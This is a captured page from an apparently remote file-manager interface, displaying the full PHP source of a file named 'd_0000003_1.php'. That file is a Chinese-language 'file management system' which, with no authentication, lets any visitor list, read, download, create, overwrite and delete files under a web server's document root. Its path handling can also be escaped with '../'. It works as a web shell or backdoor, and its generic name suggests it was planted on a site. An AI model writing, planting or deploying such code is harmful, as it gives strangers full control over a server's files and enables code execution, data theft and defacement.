<style>
    body { font-family: Arial, sans-serif; margin: 20px; }
    table { border-collapse: collapse; width: 100%; margin-top: 15px; }
    th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
    th { background-color: #f2f2f2; }
    .error { color: red; padding: 10px; border: 1px solid red; margin: 10px 0; }
    .success { color: green; padding: 10px; border: 1px solid green; margin: 10px 0; }
    .btn { padding: 5px 10px; margin: 2px; cursor: pointer; }
    .permission-denied { color: #888; font-style: italic; }
    .disk-list { margin-bottom: 20px; padding: 10px; background: #f5f5f5; border-radius: 5px; }
    .disk-item { display: inline-block; margin-right: 15px; }
</style><h2>查看文件: d_0000003_1.php</h2><p>大小: 15.02 KB</p><p>类型: application/octet-stream</p><form method="post" action="?a=index&b=save_edit"><input type="hidden" name="path" value="P7lYExfLPva05ql2GTZFGfkZuhW2EFYLBr3Tim1bR3mM7bexn2B4MPbmklZ4a8tdTaUMPt2sHnjhNnMAijK+iw=="><textarea name="content" style="width:100%; height:400px; font-family:monospace; padding:10px;">&lt;?php
$rootDir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : dirname(__FILE__);
function listFiles($dir) {
    $files = [];
    if (!is_dir($dir)) {
        return $files;
    }
    
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item != '.' &amp;&amp; $item != '..') {
            $path = $dir . DIRECTORY_SEPARATOR . $item;
            if (is_dir($path)) {
                $files[$item] = listFiles($path);
            } else {
                $files[] = $item;
            }
        }
    }
    return $files;
}

// 创建文件
function createFile($dir, $filename, $content) {
    // 处理子目录路径
    $filePath = $dir . DIRECTORY_SEPARATOR . ltrim($filename, DIRECTORY_SEPARATOR);
    // 确保目录存在
    $dirPath = dirname($filePath);
    if (!is_dir($dirPath)) {
        mkdir($dirPath, 0755, true);
    }
    file_put_contents($filePath, $content);
}

// 删除文件
function deleteFile($dir, $filename) {
    $filePath = $dir . DIRECTORY_SEPARATOR . ltrim($filename, DIRECTORY_SEPARATOR);
    if (file_exists($filePath)) {
        unlink($filePath);
    }
}

// 编辑文件内容
function editFile($dir, $filename, $content) {
    $filePath = $dir . DIRECTORY_SEPARATOR . ltrim($filename, DIRECTORY_SEPARATOR);
    if (file_exists($filePath)) {
        file_put_contents($filePath, $content);
    }
}

// 改进的文件内容读取函数
function showFileContent($dir, $filename) {
    $filePath = $dir . DIRECTORY_SEPARATOR . ltrim($filename, DIRECTORY_SEPARATOR);
    
    if (!file_exists($filePath)) {
        return ['success' =&gt; false, 'message' =&gt; &quot;文件不存在&quot;];
    }

    if (!is_readable($filePath)) {
        return ['success' =&gt; false, 'message' =&gt; &quot;文件不可读 (权限不足)&quot;];
    }

    // 获取文件信息
    $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $filesize = filesize($filePath);
    
    // 图片文件类型
    $imageExtensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'svg'];
    
    // 如果是图片文件，返回base64编码
    if (in_array($extension, $imageExtensions)) {
        return [
            'success' =&gt; true,
            'content' =&gt; base64_encode(file_get_contents($filePath)),
            'type' =&gt; 'image',
            'extension' =&gt; $extension
        ];
    }
    
    // 尝试读取文件内容
    $content = file_get_contents($filePath);
    
    // 默认所有非图片文件都作为文本处理
    return [
        'success' =&gt; true,
        'content' =&gt; $content,
        'type' =&gt; 'text',
        'extension' =&gt; $extension
    ];
}

// 处理文件下载
if (isset($_GET['download']) &amp;&amp; isset($_GET['filename'])) {
    $filename = ltrim($_GET['filename'], DIRECTORY_SEPARATOR);
    $filePath = realpath($rootDir . DIRECTORY_SEPARATOR . $filename);
    
    // 安全检查
    if ($filePath &amp;&amp; strpos($filePath, realpath($rootDir)) === 0 &amp;&amp; is_file($filePath)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename=&quot;' . basename($filename) . '&quot;');
        header('Content-Length: ' . filesize($filePath));
        readfile($filePath);
        exit;
    }
}

// 处理POST请求
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['create'])) {
        createFile($rootDir, $_POST['filename'], $_POST['content']);
    } elseif (isset($_POST['edit'])) {
        editFile($rootDir, $_POST['filename'], $_POST['content']);
    } elseif (isset($_POST['delete'])) {
        deleteFile($rootDir, $_POST['filename']);
    }
}

// 获取文件列表
$files = listFiles($rootDir);

// 处理当前文件请求
$currentFile = isset($_GET['filename']) ? $_GET['filename'] : null;
$fileData = [
    'content' =&gt; '',
    'error' =&gt; '',
    'type' =&gt; 'text',
    'extension' =&gt; ''
];

if ($currentFile) {
    $result = showFileContent($rootDir, $currentFile);
    if (!$result['success']) {
        $fileData['error'] = $result['message'];
    } else {
        $fileData = $result;
    }
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;zh-CN&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;文件管理系统&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css&quot;&gt;
    &lt;style&gt;
        :root {
            --primary-color: #4285f4;
            --secondary-color: #f1f3f4;
            --text-color: #202124;
            --border-color: #dadce0;
            --hover-color: #f8f9fa;
            --error-color: #dc3545;
            --warning-color: #ffc107;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            line-height: 1.6;
            color: var(--text-color);
            background-color: #f5f7fa;
            margin: 0;
            padding: 20px;
        }
        .container {
            max-width: 1200px;
            margin: 0 auto;
            display: grid;
            grid-template-columns: 300px 1fr;
            gap: 20px;
        }
        .card {
            background: white;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
            padding: 20px;
            margin-bottom: 20px;
        }
        .alert-error {
            color: var(--error-color);
            padding: 15px;
            background-color: #f8d7da;
            border-radius: 4px;
            margin-bottom: 20px;
            border-left: 4px solid var(--error-color);
        }
        .file-preview {
            margin: 15px 0;
        }
        .file-preview img {
            max-width: 100%;
            max-height: 400px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        .editor-container {
            margin-top: 15px;
        }
        textarea {
            width: 100%;
            padding: 10px;
            border: 1px solid var(--border-color);
            border-radius: 4px;
            margin-bottom: 15px;
            min-height: 300px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
        }
        .file-actions {
            margin-top: 15px;
        }
        button, .button {
            background-color: var(--primary-color);
            color: white;
            border: none;
            padding: 8px 16px;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
            text-decoration: none;
            display: inline-block;
            margin-right: 10px;
        }
        button:hover, .button:hover {
            opacity: 0.9;
        }
        .btn-danger {
            background-color: var(--error-color);
        }
        .file-tree {
            list-style: none;
            padding-left: 0;
        }
        .file-item {
            display: flex;
            align-items: center;
            padding: 8px 0;
            border-bottom: 1px solid #eee;
        }
        .folder-item {
            cursor: pointer;
            padding: 8px 0;
        }
        .folder-content {
            padding-left: 20px;
            display: none;
        }
        @media (max-width: 768px) {
            .container {
                grid-template-columns: 1fr;
            }
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div class=&quot;container&quot;&gt;
        &lt;!-- 左侧文件树 --&gt;
        &lt;div&gt;
            &lt;div class=&quot;card&quot;&gt;
                &lt;h1&gt;&lt;i class=&quot;fas fa-folder-open&quot;&gt;&lt;/i&gt; 文件管理系统&lt;/h1&gt;
                &lt;h2&gt;&lt;i class=&quot;fas fa-list&quot;&gt;&lt;/i&gt; 文件列表&lt;/h2&gt;
                &lt;ul class=&quot;file-tree&quot;&gt;
                    &lt;?php
                   function renderFileList($files, $currentDir, $parentFolderId, $rootDir) {
                    foreach ($files as $key =&gt; $file) {
                        if (is_array($file)) {
                            $folderId = $parentFolderId . '-' . $key;
                            echo &quot;&lt;li&gt;
                                &lt;div class=\&quot;folder-item\&quot; onclick=\&quot;toggleFolder('$folderId')\&quot;&gt;
                                    &lt;i class=\&quot;far fa-folder\&quot;&gt;&lt;/i&gt; $key
                                &lt;/div&gt;
                                &lt;ul id=\&quot;$folderId\&quot; class=\&quot;folder-content\&quot;&gt;&quot;;
                            renderFileList($file, $currentDir . DIRECTORY_SEPARATOR . $key, $folderId, $rootDir);
                            echo &quot;&lt;/ul&gt;&lt;/li&gt;&quot;;
                        } else {
                            // 修复路径处理问题
                            $fullPath = $currentDir . DIRECTORY_SEPARATOR . $file;
                            $relativePath = ltrim(str_replace([$rootDir, '\\'], ['', '/'], $fullPath), '/');
                            
                            $icon = 'far fa-file';
                            if (preg_match('/\.(php|html?|css|js|json|txt|md|xml)$/i', $file)) {
                                $icon = 'far fa-file-code';
                            } elseif (preg_match('/\.(png|jpg|jpeg|gif|svg)$/i', $file)) {
                                $icon = 'far fa-file-image';
                            }
                            echo &quot;&lt;li class=\&quot;file-item\&quot;&gt;
                                &lt;i class=\&quot;$icon\&quot;&gt;&lt;/i&gt;
                                &lt;a href=\&quot;?filename=&quot; . urlencode($relativePath) . &quot;\&quot; title=\&quot;查看\&quot;&gt;$file&lt;/a&gt;
                                &lt;div style=\&quot;margin-left: auto;\&quot;&gt;
                                    &lt;form method=\&quot;post\&quot; style=\&quot;display: inline; margin-left: 8px;\&quot;&gt;
                                        &lt;input type=\&quot;hidden\&quot; name=\&quot;filename\&quot; value=\&quot;&quot; . htmlspecialchars($relativePath) . &quot;\&quot;&gt;
                                        &lt;button type=\&quot;submit\&quot; name=\&quot;delete\&quot; class=\&quot;btn-danger\&quot; onclick=\&quot;return confirm('确定要删除吗?')\&quot; title=\&quot;删除\&quot;&gt;
                                            &lt;i class=\&quot;fas fa-trash-alt\&quot;&gt;&lt;/i&gt;
                                        &lt;/button&gt;
                                    &lt;/form&gt;
                                &lt;/div&gt;
                            &lt;/li&gt;&quot;;
                        }
                    }
                }
                    
                    if (is_array($files) &amp;&amp; !empty($files)) {
                        renderFileList($files, $rootDir, 'root', $rootDir);
                    } else {
                        echo &quot;&lt;li&gt;&lt;i class=\&quot;far fa-frown\&quot;&gt;&lt;/i&gt; 没有找到文件&lt;/li&gt;&quot;;
                    }
                    ?&gt;
                &lt;/ul&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        
        &lt;!-- 右侧操作区 --&gt;
        &lt;div&gt;
            &lt;!-- 创建文件表单 --&gt;
            &lt;div class=&quot;card&quot;&gt;
                &lt;h2&gt;&lt;i class=&quot;fas fa-plus-circle&quot;&gt;&lt;/i&gt; 创建新文件&lt;/h2&gt;
                &lt;form method=&quot;post&quot;&gt;
                    &lt;label for=&quot;filename&quot;&gt;文件名 (可包含子目录路径):&lt;/label&gt;
                    &lt;input type=&quot;text&quot; id=&quot;filename&quot; name=&quot;filename&quot; required placeholder=&quot;例如: docs/example.txt 或 example.txt&quot;&gt;
                    
                    &lt;label for=&quot;content&quot;&gt;内容:&lt;/label&gt;
                    &lt;textarea id=&quot;content&quot; name=&quot;content&quot; rows=&quot;10&quot; required placeholder=&quot;输入文件内容...&quot;&gt;&lt;/textarea&gt;
                    
                    &lt;button type=&quot;submit&quot; name=&quot;create&quot;&gt;&lt;i class=&quot;fas fa-save&quot;&gt;&lt;/i&gt; 创建文件&lt;/button&gt;
                &lt;/form&gt;
            &lt;/div&gt;
            
            &lt;!-- 文件查看区域 --&gt;
            &lt;?php if (!empty($currentFile)): ?&gt;
            &lt;div class=&quot;card&quot;&gt;
                &lt;h2&gt;
                    &lt;i class=&quot;far fa-file&quot;&gt;&lt;/i&gt; 
                    &lt;?php echo htmlspecialchars($currentFile); ?&gt;
                    &lt;span style=&quot;font-size: 0.8em; color: #666;&quot;&gt;(&lt;?php echo strtoupper($fileData['extension']); ?&gt;文件)&lt;/span&gt;
                &lt;/h2&gt;
                
                &lt;?php if (!empty($fileData['error'])): ?&gt;
                &lt;div class=&quot;alert-error&quot;&gt;
                    &lt;h3&gt;&lt;i class=&quot;fas fa-exclamation-triangle&quot;&gt;&lt;/i&gt; 错误&lt;/h3&gt;
                    &lt;p&gt;&lt;?php echo $fileData['error']; ?&gt;&lt;/p&gt;
                &lt;/div&gt;
                &lt;?php elseif ($fileData['type'] === 'image'): ?&gt;
                &lt;div class=&quot;file-preview&quot;&gt;
                    &lt;img src=&quot;data:image/&lt;?php echo $fileData['extension']; ?&gt;;base64,&lt;?php echo $fileData['content']; ?&gt;&quot; alt=&quot;图片预览&quot;&gt;
                &lt;/div&gt;
                &lt;div class=&quot;file-actions&quot;&gt;
                    &lt;a href=&quot;?filename=&lt;?php echo urlencode($currentFile); ?&gt;&amp;download=1&quot; class=&quot;button&quot;&gt;
                        &lt;i class=&quot;fas fa-download&quot;&gt;&lt;/i&gt; 下载图片
                    &lt;/a&gt;
                &lt;/div&gt;
                &lt;?php else: ?&gt;
                &lt;div class=&quot;editor-container&quot;&gt;
                    &lt;form method=&quot;post&quot;&gt;
                        &lt;input type=&quot;hidden&quot; name=&quot;filename&quot; value=&quot;&lt;?php echo htmlspecialchars($currentFile); ?&gt;&quot;&gt;
                        &lt;textarea name=&quot;content&quot; rows=&quot;20&quot; style=&quot;width: 100%; font-family: monospace;&quot; spellcheck=&quot;false&quot;&gt;&lt;?php 
                            echo htmlspecialchars($fileData['content']); 
                        ?&gt;&lt;/textarea&gt;
                        &lt;div class=&quot;file-actions&quot;&gt;
                            &lt;button type=&quot;submit&quot; name=&quot;edit&quot; class=&quot;button&quot;&gt;
                                &lt;i class=&quot;fas fa-save&quot;&gt;&lt;/i&gt; 保存更改
                            &lt;/button&gt;
                            &lt;a href=&quot;?&quot; class=&quot;button&quot;&gt;
                                &lt;i class=&quot;fas fa-times&quot;&gt;&lt;/i&gt; 取消
                            &lt;/a&gt;
                            &lt;a href=&quot;?filename=&lt;?php echo urlencode($currentFile); ?&gt;&amp;download=1&quot; class=&quot;button&quot; style=&quot;float: right;&quot;&gt;
                                &lt;i class=&quot;fas fa-download&quot;&gt;&lt;/i&gt; 下载
                            &lt;/a&gt;
                        &lt;/div&gt;
                    &lt;/form&gt;
                &lt;/div&gt;
                &lt;?php endif; ?&gt;
            &lt;/div&gt;
            &lt;?php endif; ?&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;script&gt;
        function toggleFolder(folderId) {
            const folderContent = document.getElementById(folderId);
            const icon = folderContent.previousElementSibling.querySelector('i');
            
            if (folderContent.style.display === &quot;none&quot;) {
                folderContent.style.display = &quot;block&quot;;
                icon.classList.replace('fa-folder', 'fa-folder-open');
            } else {
                folderContent.style.display = &quot;none&quot;;
                icon.classList.replace('fa-folder-open', 'fa-folder');
            }
        }
        
        // 默认展开第一层文件夹
        document.addEventListener('DOMContentLoaded', function() {
            const rootFolders = document.querySelectorAll('.file-tree &gt; li &gt; .folder-content');
            rootFolders.forEach(folder =&gt; {
                folder.style.display = &quot;block&quot;;
                const icon = folder.previousElementSibling.querySelector('i');
                if (icon) {
                    icon.classList.replace('fa-folder', 'fa-folder-open');
                }
            });
        });
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</textarea><div style="margin:10px 0;"><button type="submit" style="text-decoration:none;color:inherit;">保存</button><button type="button"><a href="?a=index&b=list&path=0E7hPDFyam%2FPpmM8s22DLLTfM5YvDIXRSVKCTTg8NtyYLO0wh%2BHn8fZ5gjqifw7C" style="text-decoration:none;color:inherit;">取消</a></button></div></form><div style="margin-top:20px;"><button type="button"><a href="?a=index&b=list&path=0E7hPDFyam%2FPpmM8s22DLLTfM5YvDIXRSVKCTTg8NtyYLO0wh%2BHn8fZ5gjqifw7C" style="text-decoration:none;color:inherit;">返回文件列表</a></button></div>